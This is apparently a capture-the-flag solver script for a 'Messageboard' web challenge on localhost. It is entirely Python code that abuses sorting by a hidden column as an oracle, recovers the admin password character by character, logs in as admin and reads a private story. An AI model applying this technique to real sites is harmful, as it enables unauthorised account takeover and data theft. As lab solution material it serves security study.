Messageboard

import secrets
import requests


BASE = "http://localhost:3000"

s = requests.Session()
hexchars = "0123456789abcdef"

def reset_cookie(r):
	if cookie := r.cookies.get("__Host-session"):
		s.cookies.clear()
		s.cookies.set("__Host-session", cookie)

if __name__ == "__main__":
    prefix = ""
    tag = "x" + secrets.token_hex(3)

    while len(prefix) < 15:
        candidates = {}
        for c in hexchars:
            name = f"{tag}{prefix}{c}"
            r = s.post(f"{BASE}/api/signup", json={
                "name": name,
                "password": prefix + c
            })
            r.raise_for_status()

            reset_cookie(r)
            r = s.post(
                f"{BASE}/api/stories",
                json={
                    "story": name,
                    "visibility": "public",
                    "minutes": 60
                })
            r.raise_for_status()
            candidates[name] = c

        rows = s.get(f"{BASE}/api/stories", params={"column": "secret", "order": "ASC"}).json()
        positions = {row["author"]: i for i, row in enumerate(rows)}
        admin = next(
            i
            for i, row in enumerate(rows)
            if row.get("author") == "admin" and row.get("visibility") == "public"
        )
        before = [name for name in candidates if positions[name] < admin]
        if len(before) == 0:
            print("no admin stories")
            exit()
        
        prefix += candidates[max(before, key=positions.get)]
        print(prefix)

    for c in hexchars:
        password = prefix + c
        r = s.post(f"{BASE}/api/login", json={"name": "admin", "password": password})
        if r.ok:
            prefix = password
            reset_cookie(r)
            break
    else:
        print("couldn't log in as admin")
        exit()
    print("password:", prefix)

    rows = s.get(f"{BASE}/api/stories").json()
    for row in rows:
        if row.get("author") == "admin" and row.get("visibility") == "close_friends":
            print(row["story"])
            exit()
    print("story not found")